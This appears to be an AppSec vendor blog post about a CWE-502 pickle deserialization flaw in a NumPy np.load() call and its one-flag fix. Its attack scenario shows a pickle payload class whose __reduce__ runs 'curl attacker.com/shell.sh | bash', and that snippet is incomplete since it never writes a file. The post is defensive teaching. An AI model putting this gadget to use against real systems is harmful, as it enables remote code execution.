Back to Blog
high SEVERITY6 min read

How unsafe pickle deserialization happens in NumPy's np.load() and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `tools/ardy-engine/retarget.py` where `np.load()` was called with `allow_pickle=True`, enabling attackers to embed malicious pickle payloads in `.npz` files. The fix was a single-character change—switching `allow_pickle=True` to `allow_pickle=False`—that eliminates the deserialization attack vector while preserving the file's legitimate array data loading functionality.

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

This vulnerability is an unsafe pickle deserialization issue (CWE-502) in Python's NumPy library, specifically in the `np.load()` function called with `allow_pickle=True`. When a `.npz` file containing a crafted pickle payload is loaded, it can execute arbitrary code on the host system. The fix is to set `allow_pickle=False` in the `np.load()` call, which restricts loading to safe NumPy array data only.

Vulnerability at a Glance

cweCWE-502
fixChanged allow_pickle=True to allow_pickle=False in retarget.py:55
riskArbitrary code execution when loading crafted .npz files
languagePython
root causenp.load() called with allow_pickle=True on potentially untrusted input
vulnerabilityUnsafe pickle deserialization via NumPy np.load()

How Unsafe Pickle Deserialization Happens in NumPy's np.load() and How to Fix It

Introduction

In the tools/ardy-engine/retarget.py file—a component of the ardy-engine that converts motion capture data from .npz files into structured dictionaries—a high-severity vulnerability was lurking at line 55. The convert() function loaded NumPy archive files with allow_pickle=True, opening the door to arbitrary code execution if a malicious .npz file were ever processed.

Here's the problematic line:

data = np.load(npz_path, allow_pickle=True)

This single parameter choice transforms what should be a safe data loading operation into a potential remote code execution (RCE) vector. For any developer working with NumPy file I/O—especially in ML pipelines, animation tools, or data processing engines—this pattern is critically dangerous.

The Vulnerability Explained

What Makes This Dangerous

NumPy's .npz format is essentially a ZIP archive containing .npy files (raw array data). However, when allow_pickle=True is set, NumPy will also deserialize Python objects stored in the archive using Python's pickle module. Pickle is inherently unsafe for untrusted data because it can execute arbitrary Python code during deserialization.

The vulnerable code in retarget.py:

def convert(npz_path: str, fps_div: int = 1) -> dict:
    data = np.load(npz_path, allow_pickle=True)
    return spec_from_arrays(
        data["global_rot_mats"],
        data["root_positions"],

The npz_path parameter represents a file path that could originate from user input, uploaded files, or external data sources. The function expects arrays like global_rot_mats and root_positions—legitimate motion capture data—but with allow_pickle=True, the file could contain anything.

A Concrete Attack Scenario

An attacker targeting the ardy-engine retargeting pipeline could craft a malicious .npz file like this:

import numpy as np
import pickle
import os

class MaliciousPayload:
    def __reduce__(self):
        # This executes when the object is unpickled
        return (os.system, ('curl attacker.com/shell.sh | bash',))

# Create a fake .npz that contains a pickled object
# instead of legitimate rotation matrices
malicious_data = {'global_rot_mats': MaliciousPayload()}

When retarget.py's convert() function loads this file, the __reduce__ method fires during deserialization, executing the attacker's shell command. The attacker gains code execution with the same privileges as the process running the retargeting engine.

Since the PR description notes this is a library that affects downstream consumers, any application using the ardy-engine's convert() function inherits this vulnerability. A user uploading a motion capture file to a web service backed by this engine could achieve full server compromise.

Why allow_pickle=True Existed

Historically, NumPy defaulted to allowing pickle in np.load(). Many codebases set it explicitly to suppress deprecation warnings that appeared when NumPy changed the default to False in version 1.16.3. Developers often added allow_pickle=True as a quick fix without considering the security implications—especially when the data format didn't actually require pickle.

In this case, the arrays global_rot_mats, root_positions, and other motion data are standard NumPy arrays that don't need pickle serialization at all.

The Fix

The fix is elegantly simple—a single parameter change at line 55:

Before:

def convert(npz_path: str, fps_div: int = 1) -> dict:
    data = np.load(npz_path, allow_pickle=True)
    return spec_from_arrays(
        data["global_rot_mats"],
        data["root_positions"],

After:

def convert(npz_path: str, fps_div: int = 1) -> dict:
    data = np.load(npz_path, allow_pickle=False)
    return spec_from_arrays(
        data["global_rot_mats"],
        data["root_positions"],

Why This Works

Setting allow_pickle=False instructs NumPy to:

  1. Reject any pickled objects in the .npz file, raising a ValueError instead of deserializing them
  2. Only load raw NumPy arrays stored in the standard .npy binary format
  3. Completely eliminate the deserialization attack surface for this code path

Since the convert() function only accesses standard array keys (global_rot_mats, root_positions), these should be stored as regular NumPy arrays in any legitimate .npz file. The fix doesn't break functionality—it enforces that the data is what it claims to be.

The build passes and scanner re-scan confirms the vulnerability is resolved, validating that the motion capture data files used by this engine don't actually require pickle.

Prevention & Best Practices

1. Default to allow_pickle=False

Always use allow_pickle=False unless you have a specific, documented reason to deserialize pickle objects—and even then, consider alternatives:

# Safe — only loads NumPy arrays
data = np.load(filepath, allow_pickle=False)

# Unsafe — allows arbitrary code execution
data = np.load(filepath, allow_pickle=True)

2. Use Safer Serialization Formats

For ML and scientific computing, consider:
- SafeTensors — designed specifically for safe tensor serialization
- HDF5 — structured scientific data format without code execution risk
- JSON/MessagePack — for metadata and configuration
- NumPy's native .npy format — safe when pickle is disabled

3. Audit Pickle Files with Fickling

If you must work with pickle files, use fickling from Trail of Bits to scan for malicious payloads:

import fickling
result = fickling.is_likely_safe("model.pkl")

4. Input Validation

Validate file sources before loading:
- Verify file checksums against known-good values
- Restrict file upload paths and validate MIME types
- Run file processing in sandboxed environments with minimal privileges

5. Static Analysis Integration

Integrate Semgrep with the Trail of Bits Python ruleset into your CI/CD pipeline to catch these patterns automatically:

# .semgrep.yml
rules:
  - id: trailofbits.python.pickles-in-numpy.pickles-in-numpy

Key Takeaways

  • allow_pickle=True in np.load() is equivalent to running eval() on untrusted input — the convert() function in retarget.py was one malicious .npz file away from full system compromise
  • Motion capture data (rotation matrices, positions) never needs pickle — the arrays in global_rot_mats and root_positions are standard NumPy arrays that load perfectly with allow_pickle=False
  • Library vulnerabilities cascade to all consumers — every downstream application using ardy-engine's convert(npz_path) function inherited this RCE vector
  • One-character fixes can eliminate critical vulnerabilities — changing True to False completely removed the attack surface without any functionality loss
  • Static analysis catches what code review misses — the allow_pickle=True pattern looks innocuous but the Semgrep Trail of Bits ruleset correctly identified it as high severity

How Orbis AppSec Detected This

  • Source: The npz_path parameter passed to the convert() function in tools/ardy-engine/retarget.py, representing a file path that can be influenced by external input or user-uploaded data
  • Sink: np.load(npz_path, allow_pickle=True) at line 55 of tools/ardy-engine/retarget.py
  • Missing control: No restriction on pickle deserialization — the allow_pickle=True flag permitted arbitrary Python object deserialization from the loaded file
  • CWE: CWE-502 — Deserialization of Untrusted Data
  • Fix: Changed allow_pickle=True to allow_pickle=False in the np.load() call, restricting loading to safe NumPy array data only

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The pickle deserialization vulnerability in retarget.py is a textbook example of how a seemingly harmless parameter can create a critical security hole. The allow_pickle=True flag was likely added without malicious intent—perhaps to suppress a warning or ensure compatibility—but it transformed a data loading function into an arbitrary code execution gateway.

The fix demonstrates that security improvements don't always require architectural changes. By setting allow_pickle=False, the ardy-engine's motion retargeting pipeline now safely processes .npz files without any risk of code execution, while maintaining full compatibility with legitimate motion capture data.

If you work with NumPy file I/O, audit your codebase for allow_pickle=True today. Every instance is a potential RCE waiting to happen.

References

Frequently Asked Questions

What is unsafe pickle deserialization in NumPy?

When NumPy's np.load() is called with allow_pickle=True, it uses Python's pickle module to deserialize objects stored in .npz files. Pickle can execute arbitrary Python code during deserialization, meaning a maliciously crafted .npz file can run attacker-controlled code when loaded.

How do you prevent pickle deserialization attacks in Python?

Set allow_pickle=False when calling np.load(), use safer serialization formats like JSON or SafeTensors for ML data, validate file sources before loading, and use tools like fickling to audit pickle files for malicious content.

What CWE is unsafe pickle deserialization?

CWE-502: Deserialization of Untrusted Data. This covers all cases where an application deserializes data from untrusted sources without adequate verification, potentially leading to arbitrary code execution.

Is setting allow_pickle=False enough to prevent pickle attacks in NumPy?

Yes, for np.load() specifically. Setting allow_pickle=False causes NumPy to raise a ValueError if the .npz file contains pickled objects, completely preventing deserialization. However, you must ensure your data files only contain standard NumPy arrays, not pickled Python objects.

Can static analysis detect pickle deserialization vulnerabilities?

Yes. Tools like Semgrep with the Trail of Bits ruleset (rule: trailofbits.python.pickles-in-numpy.pickles-in-numpy) specifically detect np.load() calls with allow_pickle=True or without the parameter explicitly set to False.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

critical

How arbitrary code execution via injected protobuf definition type fields happens in Node.js and how to fix it

A critical arbitrary code execution vulnerability (CVE-2026-41242) was discovered in protobufjs versions prior to 7.5.5 and 8.0.1, allowing attackers to inject malicious code through crafted protobuf definition type fields. The fix upgrades the dependency from the vulnerable version 6.11.4 to 7.5.5, which properly sanitizes type field inputs during protobuf parsing. This vulnerability is especially dangerous because protobufjs is widely used in Node.js applications for serialization, meaning a s

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

high

How SSRF and Credential Leakage via Absolute URLs happens in axios and how to fix it

A high-severity vulnerability (CVE-2025-27152) in axios versions prior to 1.8.2 allowed Server-Side Request Forgery (SSRF) attacks and credential leakage when making HTTP requests with absolute URLs. This vulnerability was fixed by upgrading from axios 1.7.4 to 1.8.2 in both package.json and package-lock.json, eliminating the attack vector that could have exposed authentication tokens and enabled unauthorized server-side requests.

high

How pickle-based arbitrary code execution happens in PyTorch and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `scripts/export_joyvasa_audio.py` where `torch.load()` was called with `weights_only=False`, allowing any pickle-serialized Python object — including malicious code — to execute during checkpoint loading. The fix switches to `weights_only=True` and explicitly allowlists only the two non-standard classes the checkpoint actually requires: `argparse.Namespace` and `pathlib.PosixPath`. This closes a real code execution path tha

critical

How WebSocket protocol length header abuse happens in Node.js and how to fix it

A critical vulnerability (CVE-2026-54466) in websocket-driver versions prior to 0.7.5 allows attackers to corrupt WebSocket messages by manipulating protocol length headers. This can lead to data integrity issues, denial of service, or potentially arbitrary code execution in affected Node.js applications. The fix involves upgrading the websocket-driver dependency to version 0.7.5.

high

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in axios versions prior to 1.15.1 allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This meant HTTP requests intended to stay internal could be routed through an attacker-controlled proxy, potentially exposing sensitive data. The fix upgrades axios to version 1.15.1, which correctly validates URLs against NO_PROXY rules.